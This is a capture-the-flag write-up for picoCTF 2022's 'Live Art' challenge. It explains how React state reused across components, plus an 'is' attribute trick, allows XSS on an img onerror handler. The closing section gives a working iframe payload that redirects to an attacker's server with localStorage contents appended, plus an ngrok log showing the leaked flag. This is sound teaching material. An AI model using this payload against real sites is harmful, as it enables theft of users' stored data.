picoCTF 2022 - Live Art
Note: This article is part of our picoCTF 2022 Greatest Hits Guide.
Live Art is one of my favourite challenges from picoCTF 2022. It’s a React website that contains a hidden flaw: a XSS vulnerability. Normally React protects you from most XSS problems, so something must have gone horribly wrong.
The Problem
Exploring the website doesn’t reveal too much. It’s pretty clear that the /link-submission
page is intended for you to submit a link that will be “clicked-on” by a “victim” (In this case the victim is a headless browser, but that’s largely irrelevant here).
Looking closer at what happens when you submit a link (this is in the code directory under “server”), we learn that the flag we are looking for is stored in the browser’s local storage for the live-art website, under the key "username"
. All we have to do is figure out how to leak that information from a client that clicks on our link.
Sources and Sinks
We can provide the “victim” a link. That means we are fundamentally in control of one thing: a URL. We start out wondering if there’s anything on the website where the url has a direct impact on the rendered HTML (or javascript). It doesn’t take long for us to find the /error
route, which is backed by this ErrorPage
component:
export const ErrorPage = (props: Props) => {
const params = useHashParams<{ error: string, returnTo: string }>();
const error = props.error ?? params.error;
const returnTo = props.returnTo ?? params.returnTo;
return (
<div>
<h1>Uh Oh Spaghetti-Oh!</h1>
<h3>{ error }</h3>
<div>
<a href={ returnTo }>Return to previous page</a> or <a href="/">go home</a>.
</div>
</div>
)
}
In particular the useHashParams
function stands out to us. Whatever that function returns influences a link and the content of an h3
block. So, what does useHashParams
do?
const getHashParams = <T extends Record<string, string>>() => {
const params = new URLSearchParams(window.location.hash.substring(1));
const result = Object.create(null);
params.forEach((value, key) => {
result[key] = value;
});
return result as T;
};
export const useHashParams = <T extends Record<string, string>>() => {
const [params, setParams] = React.useState(getHashParams<T>());
React.useEffect(() => {
const listener = () => {
setParams(getHashParams<T>());
}
window.addEventListener("hashchange", listener);
return () => {
window.removeEventListener("hashchange", listener);
}
});
return params;
};
Aha! This is interesting. There’s some state being stored inside React, and that state is an object constructed by iterating through the hash parameters and storing the key/value pairs. This means that navigating to a url like /error#returnTo=/foo&error=Error%20Message
will give us a page containing an <h3>
“Error Message” and a link to the page /foo
(try it!). However, React is very good about escaping these inputs, so it’s not directly vulnerable to XSS. We can inject a "javascript:"
link, but we can’t actually get the headless browser to click it, so it’s not directly helpful to us.
We do notice that:
params.forEach((value, key) => {
result[key] = value;
});
is a suspicious loop, and we initially wondered if it might be vulnerable to a prototype pollution vulnerability, but it didn’t seem like it after some testing.
This ErrorPage
component was the only obvious “source” for us to inject content in the URL and have it end up influencing the DOM / javascript. We also looked into the “live-art” broadcast feature, but the incoming data from peers was only used to influence an <img>
src
data, so it didn’t seem possible to inject javascript that way.
We take a break from looking at sources and try to find sinks - these are places where javascript variables might end up affecting the dom. In particular we’re interested in being able to directly inject html elements (like <script>
), or possibly some element attributes (onload
, onerror
and the like). One of the most common ways this might happen is the use of the ...
spread operator, as that could unintentionally include unintended state.
Let’s grep for it:
$ grep -R "\.\.\." *
src/components/editor/index.tsx: <_Editor { ...props }/>
src/components/viewer/index.tsx: <img src={props.image} { ...dimensions }/>
src/components/xss-submission/index.tsx: <div className="xss-status">Submitting...</div>
src/wrappers/index.tsx: return component({ ...props, throwError: handleError });
Immediately the second line jumps out at us. Here’s an img
tag where the dimension
object is directly used as attributes on the element itself. What is this dimension
object and what values does it have?
const baseResolution: Dimensions = { width: 384, height: 384 };
//...
const [dimensions, updateDimensions] = React.useReducer(
(canvasDimensions: Dimensions, windowDimensions: Dimensions) => {
const newScale = Math.floor(Math.min(
(windowDimensions.width / baseResolution.width),
(windowDimensions.height / baseResolution.height))
);
const desiredDimensions = { width: baseResolution.width * newScale, height: baseResolution.height * newScale };
if (desiredDimensions.width !== canvasDimensions.width || desiredDimensions.height !== canvasDimensions.height) {
return desiredDimensions;
} else {
return canvasDimensions;
}
},
baseResolution
);
Hmmm… It’s a reducer with an initial value of baseResolution
and some logic adjusting width/height. In general it seems that it only ever works with the width
and height
properties, so it’s not obvious how we could inject a more interesting attribute, like the classic onerror
attribute often used on img
tags for XSS.
Development Environment
The javascript on the live website has been bundled/minimized and doesn’t lend itself to debugging. Fortunately we have the source code, but not really any instructions on how to use it. Since we’re only interested in the client
code right now, let’s try and host that code ourselves, hopefully with source maps for ease of debugging. To do that, we’ll whip up a Dockerfile, based largely on the one they gave us for the noted
challenge:
FROM node:17
RUN apt-get update \
&& apt-get install -y wget gnupg dumb-init \
&& wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
&& sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
&& apt-get update \
&& apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
RUN addgroup --system user && \
adduser --system --ingroup user user && \
mkdir /code && \
chown user:user /code
USER user
WORKDIR /code
COPY code .
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true \
PUPPETEER_EXECUTABLE_PATH=/usr/bin/google-chrome
RUN npm i && yarn
WORKDIR /code/client
RUN npm i
CMD ["dumb-init", "--", "node", "../node_modules/vite/bin/vite.js", "--host"]
This Dockerfile contains some unnecessary components (we need puppeteer for the server project, but not client). In any case, it’s good enough for now. Build it with the tag picoctf2022-liveart
and run it like this:
$ docker run --rm -p 3000:3000 picoctf2022-liveart
Pre-bundling dependencies:
react
react-dom
react-router-dom
peerjs
react/jsx-dev-runtime
(this will be run only when your dependencies or config have changed)
vite v2.8.6 dev server running at:
> Local: http://localhost:3000/
> Network: http://172.17.0.2:3000/
ready in 501ms.
This will give us a development server running on port 3000
. Loading it up, we are again greeted with the live-art website, but this time dev-tools has working source maps, and we can even use breakpoints.
The Error Message
At this point we’re a bit out of ideas. We have a source (the ErrorPage
component), and a sink (the Viewer
component), but individually they appear benign. We load up the development server and start poking around for something we missed.
After poking around for a bit, we stumble across the Drawing
component. This component appears to reference both an ErrorPage
component and a Viewer
component. It’s used if you go to a valid /drawing
route, such as /drawing/abcd
. The logic seems to be that if the window is too small then the error component is used, and if the windows is large enough then the viewer component is used. The use of these two components together on the same page is setting off alarm bells in our heads, but how can we exploit it?
One thing we notice is that if we’re on the /drawing/abcd
page and we resize the window small enough, the javascript console starts spitting out error messages. This is something we didn’t see on the release version of the website, so it must be something to do with the fact that we’re now using React in “developer” mode. At this point we’re pretty sure we’ve found the vulnerability. But what is it?
Injecting an attribute
Since we know the ErrorPage
component will read from hash parameters, let’s load up the drawing route in a window that is really small, so that it starts with an ErrorPage
component. Navigating to /drawing/abcd#error=abcd
with the window small doesn’t initially seem to do anything. It doesn’t even override the displayed error message. However, if we now resize the window so that it’s large, something interesting happens.
In addition to the error message in the javascript console, inspecting the DOM now reveals this element:
<img error="abcd">
Aha! That state that the ErrorPage
component uses must be getting re-used in the wrong context. It replaces the dimensions
variable in the Viewer
component, allowing us to inject attributes on the <img>
tag.
Let’s try that again, but this time with /drawing/abcd#src=1&onerror=alert(1)
. Remember, the window has to start out small and then be resized larger.
Unfortunately, that doesn’t work:
Warning: Invalid event handler property `onerror`. Did you mean `onError`?
React is pretty specific about it’s handlers. In general it expects you to provide things the “React” way rather than using raw javascript. It even requires the onError
attribute to be a function and not a string, so simply adjusting the case in our URL doesn’t help. We start banging our heads against the wall, since we’re so close to cracking this thing.
A solution
Desperately researching React XSS vulnerabilities, we come across this article from a 2021 CTF writeup. It reveals the secret: if your object has an "is"
property, then react will treat the whole thing as a WebComponent and pass the attributes straight through. Let’s try it out: /drawing/abcd#src=1&onerror=alert(1)&is
(remember, start with the window small and then resize it so that it’s larger).
Success - we are greeted with an alert
popup! We can now execute javascript on the page. All that’s left to do is weaponize this. We’ll load up the drawing
route in a small iframe with our XSS payload in the hash parameters. We’ll then resize the iframe to trigger the vulnerability. All our payload has to do is read from localstorage and send it to our server:
<html>
<head></head>
<body>
<iframe id="i" width="300" height="300" src=""></iframe>
<script>
var i=document.querySelector("#i");
setTimeout(()=>{i.width=1000;},1000);
i.src="http://localhost:4000/drawing/abcd#src=1&onerror=window.location%3d%60" + window.location.origin + "/${localStorage.username}%60&is";
</script>
</body>
</html>
(Recall, on the actual challenge server you need to target localhost:4000)
We can now host our payload with a simple http server using python3 -m http.server
and then make it publicly accessible using ngrok http 8000
. This will give us an http/https server on a .ngrok.io
subdomain that we can put into the link-submission form. (I tried using other ports and they were blocked, so I believe the challenge only supports connecting to servers on either port 80 or 443).
ngrok by @inconshreveable
Session Status online
Account XXXXXXXXXXXXXXXXXXX (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding http://8faXXXXXXXXXXXXXXXXX.ngrok.io -> http://localhost:8000
Forwarding https://8faXXXXXXXXXXXXXXXXX.ngrok.io -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
2 0 0.03 0.01 0.00 0.00
HTTP Requests
-------------
GET /"picoCTF{===REDACTED===}" 404 File not found
GET /xss.html 200 OK
As we can see here, the XSS worked, and about 1 second after the request for our xss payload we get another request containing the flag!
Head back to the picoCTF 2022 Greatest Hits Guide to continue with the next challenge.